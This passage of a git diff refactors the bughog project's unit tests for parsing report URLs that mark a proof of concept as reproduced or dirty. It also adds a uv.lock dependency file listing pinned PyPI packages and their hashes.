test_request_parsing_4(self): - collector = TestCollector.get_collector([ - 'https://a.test/report/?bughog_bogus=OK' - ]) - state_result_factory = StateResultFactory() + collector = TestCollector.get_collector(['https://a.test/report/?bughog_bogus=OK']) - state_result = state_result_factory.get_result(collector.collect_results()) - assert not state_result.reproduced - assert state_result.is_dirty + _, variables = collector.collect_results() + assert not ExperimentResult.poc_is_reproduced(variables) + assert ExperimentResult.poc_is_dirty(variables) def test_request_parsing_5(self): - collector = TestCollector.get_collector([ - 'https://a.test/report/?random_var=bogus&bughog_reproduced=OK', - 'https://a.test/report/?bughog_sanity_check=OK' - ]) - state_result_factory = StateResultFactory() - - state_result = state_result_factory.get_result(collector.collect_results()) - assert state_result.reproduced - assert not state_result.is_dirty - - def test_request_parsing_deprecated_1(self): - experiment = 'exp_name' - collector = TestCollector.get_collector([ - f'https://a.test/report/?leak={experiment}', - 'https://a.test/report/?leak=baseline' - ]) - state_result_factory = StateResultFactory(experiment=experiment) - - state_result = state_result_factory.get_result(collector.collect_results()) - assert state_result.reproduced - assert not state_result.is_dirty - - def test_request_parsing_deprecated_2(self): - experiment = 'exp_name' - collector = TestCollector.get_collector([ - f'https://a.test/report/?leak={experiment}' - ]) - state_result_factory = StateResultFactory(experiment=experiment) - - state_result = state_result_factory.get_result(collector.collect_results()) - assert state_result.reproduced - assert not state_result.is_dirty - - def test_request_parsing_deprecated_3(self): - experiment = 'exp_name' - collector = TestCollector.get_collector([ - 'https://a.test/report/?leak=baseline' - ]) - state_result_factory = StateResultFactory(experiment=experiment) - - state_result = state_result_factory.get_result(collector.collect_results()) - assert not state_result.reproduced - assert not state_result.is_dirty - - def test_request_parsing_deprecated_4(self): - experiment = 'exp_name' - collector = TestCollector.get_collector([ - 'https://a.test/report/?leak=not_the_experiment_name', - 'https://a.test/report/?leak=baseline' - ]) - state_result_factory = StateResultFactory(experiment=experiment) - - state_result = state_result_factory.get_result(collector.collect_results()) - assert not state_result.reproduced - assert not state_result.is_dirty - - def test_request_parsing_deprecated_5(self): - experiment = 'exp_name' - collector = TestCollector.get_collector([ - f'https://a.test/report/?random_var=bogus&leak={experiment}', - 'https://a.test/report/?leak=baseline' - ]) - state_result_factory = StateResultFactory(experiment=experiment) - - state_result = state_result_factory.get_result(collector.collect_results()) - assert state_result.reproduced - assert not state_result.is_dirty + collector = TestCollector.get_collector( + [ + 'https://a.test/report/?random_var=bogus&bughog_reproduced=OK', + 'https://a.test/report/?bughog_sanity_check=OK', + ] + ) + + _, variables = collector.collect_results() + assert ExperimentResult.poc_is_reproduced(variables) + assert not ExperimentResult.poc_is_dirty(variables) diff --git a/uv.lock b/uv.lock new file mode 100644 index 00000000..8bee82b2 --- /dev/null +++ b/uv.lock @@ -0,0 +1,954 @@ +version = 1 +revision = 3 +requires-python = ">=3.13" + +[[package]] +name = "anybadge" +version = "1.16.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/64/08/ddad0d5398d0961d506b0489e737a06e29a963eff0f2f0a2bb2cfb36dd1f/anybadge-1.16.0.tar.gz", hash = "sha256:f4e95eca834482f9932f9020ac2fe04a5ca863728b446324a8d35b1e67faab71", size = 34616, upload-time = "2025-01-11T23:03:27.966Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/7d/01b2ac2fec808dea667b8678938156c3910219f2c45ee2e0b01e72786d72/anybadge-1.16.0-py3-none-any.whl", hash = "sha256:bc9ef2e20d875ee09237a15250a17b6fd7e67276f083d32a297963cdec179918", size = 28412, upload-time = "2025-01-11T23:03:24.857Z" }, +] + +[[package]] +name = "astroid" +version = "3.3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/18/74/dfb75f9ccd592bbedb175d4a32fc643cf569d7c218508bfbd6ea7ef9c091/astroid-3.3.11.tar.gz", hash = "sha256:1e5a5011af2920c7c67a53f65d536d65bfa7116feeaf2354d8b94f29573bb0ce", size = 400439, upload-time = "2025-07-13T18:04:23.177Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/af/0f/3b8fdc946b4d9cc8cc1e8af42c4e409468c84441b933d037e101b3d72d86/astroid-3.3.11-py3-none-any.whl", hash = "sha256:54c760ae8322ece1abd213057c4b5bba7c49818853fc901ef09719a60dbf9dec", size = 275612, upload-time = "2025-07-13T18:04:21.07Z" }, +] + +[[package]] +name = "blinker" +version = "1.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/28/9b3f50ce0e048515135495f198351908d99540d69bfdc8c1d15b73dc55ce/blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf", size = 22460, upload-time = "2024-11-08T17:25:47.436Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc", size = 8458, upload-time = "2024-11-08T17:25:46.184Z" }, +] + +[[package]] +name = "bughog" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "docker" }, + { name = "flask" }, + { name = "flask-sock" }, + { name = "flatten-dict" }, + { name = "gunicorn" }, + { name = "pillow" }, + { name = "pyautogui" }, + { name = "pymongo" }, + { name = "pyvirtualdisplay" }, + { name = "requests" }, + { name = "rich" }, + { name = "xlib" }, +] + +[package.dev-dependencies] +dev = [ + { name = "anybadge" }, + { name = "coverage" }, + { name = "debugpy" }, + { name = "flake8" }, + { name = "genbadge", extra = ["all"] }, + { name = "pylint" }, + { name = "pytest" }, + { name = "pytest-cov" }, + { name = "pytest-flake8" }, +] + +[package.metadata] +requires-dist = [ + { name = "docker", specifier = "==7.1.0" }, + { name = "flask", specifier = "==3.1.1" }, + { name = "flask-sock", specifier = "==0.7.0" }, + { name = "flatten-dict", specifier = "==0.4.2" }, + { name = "gunicorn", specifier = "==23.0.0" }, + { name = "pillow", specifier = "==12.0.0" }, + { name = "pyautogui", specifier = "==0.9.54" }, + { name = "pymongo", specifier = "==4.12.1" }, + { name = "pyvirtualdisplay", specifier = "==3.0" }, + { name = "requests", specifier = "==2.32.3" }, + { name = "rich", specifier = ">=14.2.0" }, + { name = "xlib", specifier = "==0.21" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "anybadge", specifier = "==1.16.0" }, + { name = "coverage", extras = ["toml"], specifier = "==7.8.0" }, + { name = "debugpy", specifier = "==1.8.14" }, + { name = "flake8", specifier = "==7.2.0" }, + { name = "genbadge", extras = ["all"], specifier = ">=1.1.2" }, + { name = "pylint", specifier = "==3.3.7" }, + { name = "pytest", specifier = "==8.3.5" }, + { name = "pytest-cov", specifier = "==6.1.1" }, + { name = "pytest-flake8", specifier = "==1.3.0" }, +] + +[[package]] +name = "certifi" +version = "2026.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e0/2d/a891ca51311197f6ad14a7ef42e2399f36cf2f9bd44752b3dc4eab60fdc5/certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120", size = 154268, upload-time = "2026-01-04T02:42:41.825Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/ad/3cc14f097111b4de0040c83a525973216457bbeeb63739ef1ed275c1c021/certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c", size = 152900, upload-time = "2026-01-04T02:42:40.15Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" }, + { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" }, + { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" }, + { url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" }, + { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" }, + { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" }, + { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" }, + { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "click" +version = "8.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3d/fa/656b739db8587d7b5dfa22e22ed02566950fbfbcdc20311993483657a5c0/click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a", size = 295065, upload-time = "2025-11-15T20:45:42.706Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/98/78/01c019cdb5d6498122777c1a43056ebb3ebfeef2076d9d026bfe15583b2b/click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6", size = 108274, upload-time = "2025-11-15T20:45:41.139Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "coverage" +version = "7.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/19/4f/2251e65033ed2ce1e68f00f91a0294e0f80c80ae8c3ebbe2f12828c4cd53/coverage-7.8.0.tar.gz", hash = "sha256:7a3d62b3b03b4b6fd41a085f3574874cf946cb4604d2b4d3e8dca8cd570ca501", size = 811872, upload-time = "2025-03-30T20:36:45.376Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f3/21/87e9b97b568e223f3438d93072479c2f36cc9b3f6b9f7094b9d50232acc0/coverage-7.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5ac46d0c2dd5820ce93943a501ac5f6548ea81594777ca585bf002aa8854cacd", size = 211708, upload-time = "2025-03-30T20:35:47.417Z" }, + { url = "https://files.pythonhosted.org/packages/75/be/882d08b28a0d19c9c4c2e8a1c6ebe1f79c9c839eb46d4fca3bd3b34562b9/coverage-7.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:771eb7587a0563ca5bb6f622b9ed7f9d07bd08900f7589b4febff05f469bea00", size = 211981, upload-time = "2025-03-30T20:35:49.002Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1d/ce99612ebd58082fbe3f8c66f6d8d5694976c76a0d474503fa70633ec77f/coverage-7.8.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:42421e04069fb2cbcbca5a696c4050b84a43b05392679d4068acbe65449b5c64", size = 245495, upload-time = "2025-03-30T20:35:51.073Z" }, + { url = "https://files.pythonhosted.org/packages/dc/8d/6115abe97df98db6b2bd76aae395fcc941d039a7acd25f741312ced9a78f/coverage-7.8.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:554fec1199d93ab30adaa751db68acec2b41c5602ac944bb19187cb9a41a8067", size = 242538, upload-time = "2025-03-30T20:35:52.941Z" }, + { url = "https://files.pythonhosted.org/packages/cb/74/2f8cc196643b15bc096d60e073691dadb3dca48418f08bc78dd6e899383e/coverage-7.8.0-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5aaeb00761f985007b38cf463b1d160a14a22c34eb3f6a39d9ad6fc27cb73008", size = 244561, upload-time = "2025-03-30T20:35:54.658Z" }, + { url = "https://files.pythonhosted.org/packages/22/70/c10c77cd77970ac965734fe3419f2c98665f6e982744a9bfb0e749d298f4/coverage-7.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:581a40c7b94921fffd6457ffe532259813fc68eb2bdda60fa8cc343414ce3733", size = 244633, upload-time = "2025-03-30T20:35:56.221Z" }, + { url = "https://files.pythonhosted.org/packages/38/5a/4f7569d946a07c952688debee18c2bb9ab24f88027e3d71fd25dbc2f9dca/coverage-7.8.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:f319bae0321bc838e205bf9e5bc28f0a3165f30c203b610f17ab5552cff90323", size = 242712, upload-time = "2025-03-30T20:35:57.801Z" }, + { url = "https://files.pythonhosted.org/packages/bb/a1/03a43b33f50475a632a91ea8c127f7e35e53786dbe6781c25f19fd5a65f8/coverage-7.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:04bfec25a8ef1c5f41f5e7e5c842f6b615599ca8ba8391ec33a9290d9d2db3a3", size = 244000, upload-time = "2025-03-30T20:35:59.378Z" }, + { url = "https://files.pythonhosted.org/packages/6a/89/ab6c43b1788a3128e4d1b7b54214548dcad75a621f9d277b14d16a80d8a1/coverage-7.8.0-cp313-cp313-win32.whl", hash = "sha256:dd19608788b50eed889e13a5d71d832edc34fc9dfce606f66e8f9f917eef910d", size = 214195, upload-time = "2025-03-30T20:36:01.005Z" }, + { url = "https://files.pythonhosted.org/packages/12/12/6bf5f9a8b063d116bac536a7fb594fc35cb04981654cccb4bbfea5dcdfa0/coverage-7.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:a9abbccd778d98e9c7e85038e35e91e67f5b520776781d9a1e2ee9d400869487", size = 214998, upload-time = "2025-03-30T20:36:03.006Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e6/1e9df74ef7a1c983a9c7443dac8aac37a46f1939ae3499424622e72a6f78/coverage-7.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:18c5ae6d061ad5b3e7eef4363fb27a0576012a7447af48be6c75b88494c6cf25", size = 212541, upload-time = "2025-03-30T20:36:04.638Z" }, + { url = "https://files.pythonhosted.org/packages/04/51/c32174edb7ee49744e2e81c4b1414ac9df3dacfcb5b5f273b7f285ad43f6/coverage-7.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:95aa6ae391a22bbbce1b77ddac846c98c5473de0372ba5c463480043a07bff42", size = 212767, upload-time = "2025-03-30T20:36:06.503Z" }, + { url = "https://files.pythonhosted.org/packages/e9/8f/f454cbdb5212f13f29d4a7983db69169f1937e869a5142bce983ded52162/coverage-7.8.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e013b07ba1c748dacc2a80e69a46286ff145935f260eb8c72df7185bf048f502", size = 256997, upload-time = "2025-03-30T20:36:08.137Z" }, + { url = "https://files.pythonhosted.org/packages/e6/74/2bf9e78b321216d6ee90a81e5c22f912fc428442c830c4077b4a071db66f/coverage-7.8.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d766a4f0e5aa1ba056ec3496243150698dc0481902e2b8559314368717be82b1", size = 252708, upload-time = "2025-03-30T20:36:09.781Z" }, + { url = "https://files.pythonhosted.org/packages/92/4d/50d7eb1e9a6062bee6e2f92e78b0998848a972e9afad349b6cdde6fa9e32/coverage-7.8.0-cp313-cp313t-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ad80e6b4a0c3cb6f10f29ae4c60e991f424e6b14219d46f1e7d442b938ee68a4", size = 255046, upload-time = "2025-03-30T20:36:11.409Z" }, + { url = "https://files.pythonhosted.org/packages/40/9e/71fb4e7402a07c4198ab44fc564d09d7d0ffca46a9fb7b0a7b929e7641bd/coverage-7.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:b87eb6fc9e1bb8f98892a2458781348fa37e6925f35bb6ceb9d4afd54ba36c73", size = 256139, upload-time = "2025-03-30T20:36:13.86Z" }, + { url = "https://files.pythonhosted.org/packages/49/1a/78d37f7a42b5beff027e807c2843185961fdae7fe23aad5a4837c93f9d25/coverage-7.8.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:d1ba00ae33be84066cfbe7361d4e04dec78445b2b88bdb734d0d1cbab916025a", size = 254307, upload-time = "2025-03-30T20:36:16.074Z" }, + { url = "https://files.pythonhosted.org/packages/58/e9/8fb8e0ff6bef5e170ee19d59ca694f9001b2ec085dc99b4f65c128bb3f9a/coverage-7.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f3c38e4e5ccbdc9198aecc766cedbb134b2d89bf64533973678dfcf07effd883", size = 255116, upload-time = "2025-03-30T20:36:18.033Z" }, + { url = 